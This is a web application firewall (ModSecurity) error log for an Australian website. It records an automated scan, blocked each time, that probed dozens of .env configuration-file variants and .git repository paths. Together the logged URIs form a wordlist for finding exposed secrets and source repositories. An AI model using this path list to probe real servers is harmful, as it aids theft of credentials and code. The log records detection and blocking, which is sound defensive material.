[Sat Mar 21 08:37:16.336196 2026] [:error] [pid 43101:tid 43110] [client 162.158.110.219:10410] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "ab3oPB8E1YN21AwJqbLPDQAAA8c"]
[Sat Mar 21 08:37:16.345909 2026] [:error] [pid 43101:tid 43118] [client 162.158.111.18:10222] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "ab3oPB8E1YN21AwJqbLPDgAAA88"]
[Sat Mar 21 08:37:16.346937 2026] [:error] [pid 43101:tid 43126] [client 162.158.110.62:10985] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "ab3oPB8E1YN21AwJqbLPDwAAA9c"]
[Sat Mar 21 08:37:16.416580 2026] [:error] [pid 42983:tid 42989] [client 162.158.110.63:13666] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "ab3oPL_a8iOfxTrbIyoHMAAAA0M"]
[Sat Mar 21 08:37:16.459588 2026] [:error] [pid 43101:tid 43103] [client 162.158.110.63:13669] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/private/.env"] [unique_id "ab3oPB8E1YN21AwJqbLPEAAAA8A"]
[Sat Mar 21 08:37:17.354844 2026] [:error] [pid 43101:tid 43124] [client 172.68.194.138:9586] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.json"] [unique_id "ab3oPR8E1YN21AwJqbLPFQAAA9U"]
[Sat Mar 21 08:37:17.371515 2026] [:error] [pid 43101:tid 43120] [client 162.158.111.18:10230] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.php"] [unique_id "ab3oPR8E1YN21AwJqbLPFgAAA9E"]
[Sat Mar 21 08:37:17.390340 2026] [:error] [pid 42983:tid 42993] [client 162.158.110.63:13673] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env.local"] [unique_id "ab3oPb_a8iOfxTrbIyoHMgAAA0c"]
[Sat Mar 21 08:37:17.425961 2026] [:error] [pid 43101:tid 43127] [client 162.158.110.218:11585] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_backup"] [unique_id "ab3oPR8E1YN21AwJqbLPFwAAA9g"]
[Sat Mar 21 08:37:17.474662 2026] [:error] [pid 43101:tid 43112] [client 172.68.194.138:9588] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env~"] [unique_id "ab3oPR8E1YN21AwJqbLPGAAAA8k"]
[Sat Mar 21 08:37:17.500220 2026] [:error] [pid 43101:tid 43123] [client 162.158.110.219:10415] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env1"] [unique_id "ab3oPR8E1YN21AwJqbLPGQAAA9Q"]
[Sat Mar 21 08:37:17.660324 2026] [:error] [pid 43101:tid 43118] [client 162.158.111.18:10228] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.envrc"] [unique_id "ab3oPR8E1YN21AwJqbLPGgAAA88"]
[Sat Mar 21 08:37:18.400070 2026] [:error] [pid 43101:tid 43125] [client 162.158.110.219:10423] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env2"] [unique_id "ab3oPh8E1YN21AwJqbLPHwAAA9Y"]
[Sat Mar 21 08:37:18.422096 2026] [:error] [pid 43101:tid 43108] [client 172.68.194.139:12841] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "ab3oPh8E1YN21AwJqbLPIAAAA8U"]
[Sat Mar 21 08:37:18.441597 2026] [:error] [pid 1491:tid 1579] [client 162.158.111.17:14024] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.orig"] [unique_id "ab3oPq3VfHftzE9w9t4MbQAAAJA"]
[Sat Mar 21 08:37:18.479550 2026] [:error] [pid 42983:tid 42990] [client 162.158.110.219:10427] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.bak"] [unique_id "ab3oPr_a8iOfxTrbIyoHMwAAA0Q"]
[Sat Mar 21 08:37:18.511545 2026] [:error] [pid 42983:tid 42988] [client 172.68.194.138:9590] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "ab3oPr_a8iOfxTrbIyoHNAAAA0I"]
[Sat Mar 21 08:37:18.668686 2026] [:error] [pid 43101:tid 43117] [client 162.158.111.18:10238] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev.local"] [unique_id "ab3oPh8E1YN21AwJqbLPIgAAA84"]
[Sat Mar 21 08:37:19.404757 2026] [:error] [pid 43101:tid 43126] [client 172.68.194.138:9597] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "ab3oPx8E1YN21AwJqbLPJgAAA9c"]
[Sat Mar 21 08:37:19.437735 2026] [:error] [pid 1491:tid 1570] [client 162.158.111.18:10244] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.container"] [unique_id "ab3oP63VfHftzE9w9t4MbgAAAIc"]
[Sat Mar 21 08:37:19.477683 2026] [:error] [pid 43101:tid 43109] [client 172.68.194.139:12845] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/docker/.env"] [unique_id "ab3oPx8E1YN21AwJqbLPJwAAA8Y"]
[Sat Mar 21 08:37:19.517643 2026] [:error] [pid 43101:tid 43104] [client 162.158.111.18:10246] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/docker/.env.local"] [unique_id "ab3oPx8E1YN21AwJqbLPKQAAA8E"]
[Sat Mar 21 08:37:19.667139 2026] [:error] [pid 43101:tid 43114] [client 172.68.194.139:12851] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/server/.env"] [unique_id "ab3oPx8E1YN21AwJqbLPKgAAA8s"]
[Sat Mar 21 08:37:20.489607 2026] [:error] [pid 33584:tid 33605] [client 162.158.110.218:11592] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/srv/.env"] [unique_id "ab3oQOATEQBBo5z2Hkk5XgAAAdM"]
[Sat Mar 21 08:37:20.497246 2026] [:error] [pid 1489:tid 1519] [client 162.158.110.62:10992] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "ab3oQFRvnvBO_DG9kxsXYgAAAA8"]
[Sat Mar 21 08:37:20.545204 2026] [:error] [pid 1490:tid 1559] [client 162.158.110.218:11605] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/var/www/.env"] [unique_id "ab3oQGSWhIPTatyxDeCdFwAAAFc"]
[Sat Mar 21 08:37:20.551448 2026] [:error] [pid 1489:tid 1522] [client 162.158.110.218:11598] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/www/.env"] [unique_id "ab3oQFRvnvBO_DG9kxsXYwAAABI"]
[Sat Mar 21 08:37:20.554539 2026] [:error] [pid 1489:tid 1524] [client 172.68.194.139:12854] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/site/.env"] [unique_id "ab3oQFRvnvBO_DG9kxsXZAAAABQ"]
[Sat Mar 21 08:37:20.743438 2026] [:error] [pid 1489:tid 1523] [client 162.158.111.17:14032] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/var/www/html/.env"] [unique_id "ab3oQFRvnvBO_DG9kxsXZwAAABM"]
[Sat Mar 21 08:37:20.807029 2026] [:error] [pid 43101:tid 43110] [client 162.158.110.62:10986] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_secret"] [unique_id "ab3oQB8E1YN21AwJqbLPKwAAA8c"]
[Sat Mar 21 08:37:21.327842 2026] [:error] [pid 43101:tid 43117] [client 162.158.110.218:13130] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "ab3oQR8E1YN21AwJqbLPLAAAA84"]
[Sat Mar 21 08:37:21.501849 2026] [:error] [pid 1489:tid 1507] [client 162.158.110.218:12556] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/root/.env"] [unique_id "ab3oQVRvnvBO_DG9kxsXaAAAAAQ"]
[Sat Mar 21 08:37:21.541010 2026] [:error] [pid 33678:tid 33690] [client 172.68.194.138:9604] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/home/.env"] [unique_id "ab3oQTuClB_om73sXhcm-wAAAgo"]
[Sat Mar 21 08:37:21.547601 2026] [:error] [pid 42983:tid 43003] [client 162.158.111.18:12128] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_config"] [unique_id "ab3oQb_a8iOfxTrbIyoHNwAAA1E"]
[Sat Mar 21 08:37:21.582795 2026] [:error] [pid 43101:tid 43108] [client 162.158.110.62:10993] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_settings"] [unique_id "ab3oQR8E1YN21AwJqbLPLgAAA8U"]
[Sat Mar 21 08:37:21.749444 2026] [:error] [pid 43101:tid 43112] [client 162.158.111.18:12130] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local.backup"] [unique_id "ab3oQR8E1YN21AwJqbLPLwAAA8k"]
[Sat Mar 21 08:37:21.853156 2026] [:error] [pid 1489:tid 1513] [client 162.158.110.63:9419] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "ab3oQVRvnvBO_DG9kxsXaQAAAAk"]
[Sat Mar 21 08:37:21.998090 2026] [:error] [pid 1489:tid 1506] [client 162.158.111.18:10864] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/index"] [unique_id "ab3oQVRvnvBO_DG9kxsXagAAAAM"]
[Sat Mar 21 08:37:22.064895 2026] [:error] [pid 1489:tid 1509] [client 162.158.110.62:10995] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/logs/HEAD"] [unique_id "ab3oQlRvnvBO_DG9kxsXawAAAAY"]
[Sat Mar 21 08:37:22.073409 2026] [:error] [pid 1489:tid 1527] [client 162.158.111.17:11543] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/refs/heads/master"] [unique_id "ab3oQlRvnvBO_DG9kxsXbAAAABc"]
[Sat Mar 21 08:37:22.107206 2026] [:error] [pid 1489:tid 1518] [client 162.158.111.17:11545] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/refs/heads/main"] [unique_id "ab3oQlRvnvBO_DG9kxsXbQAAAA4"]
[Sat Mar 21 08:37:22.263079 2026] [:error] [pid 43101:tid 43105] [client 162.158.111.17:11550] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ab3oQh8E1YN21AwJqbLPMQAAA8I"]
[Sat Mar 21 08:37:22.371419 2026] [:error] [pid 43101:tid 43104] [client 162.158.110.218:13138] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "ab3oQh8E1YN21AwJqbLPMgAAA8E"]
[Sat Mar 21 08:37:22.504200 2026] [:error] [pid 42983:tid 43008] [client 162.158.110.63:9425] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "ab3oQr_a8iOfxTrbIyoHOAAAA1Y"]
[Sat Mar 21 08:37:22.581318 2026] [:error] [pid 43101:tid 43114] [client 162.158.110.219:10996] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "ab3oQh8E1YN21AwJqbLPMwAAA8s"]
[Sat Mar 21 08:37:22.598985 2026] [:error] [pid 1489:tid 1524] [client 162.158.111.18:10865] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "ab3oQlRvnvBO_DG9kxsXbwAAABQ"]
[Sat Mar 21 08:37:22.614779 2026] [:error] [pid 43101:tid 43119] [client 162.158.110.219:11000] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "ab3oQh8E1YN21AwJqbLPNAAAA9A"]
[Sat Mar 21 08:37:22.779955 2026] [:error] [pid 42983:tid 43004] [client 162.158.110.62:10996] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "ab3oQr_a8iOfxTrbIyoHOQAAA1I"]
[Sat Mar 21 08:37:22.898628 2026] [:error] [pid 42886:tid 42899] [client 172.68.194.138:9755] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "ab3oQl452dC6nbNWav3oQwAAAws"]
[Sat Mar 21 08:37:23.039836 2026] [:error] [pid 33584:tid 33596] [client 172.68.194.138:9763] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "ab3oQ-ATEQBBo5z2Hkk5YAAAAco"]
[Sat Mar 21 08:37:23.109533 2026] [:error] [pid 33584:tid 33609] [client 162.158.110.62:11004] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "ab3oQ-ATEQBBo5z2Hkk5YQAAAdc"]
[Sat Mar 21 08:37:23.118498 2026] [:error] [pid 42983:tid 42986] [client 172.68.194.138:9769] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.tmp"] [unique_id "ab3oQ7_a8iOfxTrbIyoHOgAAA0A"]
[Sat Mar 21 08:37:23.118935 2026] [:error] [pid 42983:tid 42993] [client 162.158.110.63:9426] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "ab3oQ7_a8iOfxTrbIyoHOwAAA0c"]
[Sat Mar 21 08:37:23.302387 2026] [:error] [pid 42983:tid 43007] [client 172.68.194.138:9773] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "ab3oQ7_a8iOfxTrbIyoHPAAAA1U"]
[Sat Mar 21 08:37:23.404006 2026] [:error] [pid 42983:tid 42992] [client 162.158.110.219:11005] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.local"] [unique_id "ab3oQ7_a8iOfxTrbIyoHPgAAA0Y"]
[Sat Mar 21 08:37:23.546689 2026] [:error] [pid 42983:tid 43010] [client 162.158.110.219:11011] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local"] [unique_id "ab3oQ7_a8iOfxTrbIyoHPwAAA1g"]
[Sat Mar 21 08:37:23.613792 2026] [:error] [pid 43101:tid 43112] [client 162.158.110.219:11013] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "ab3oQx8E1YN21AwJqbLPNQAAA8k"]
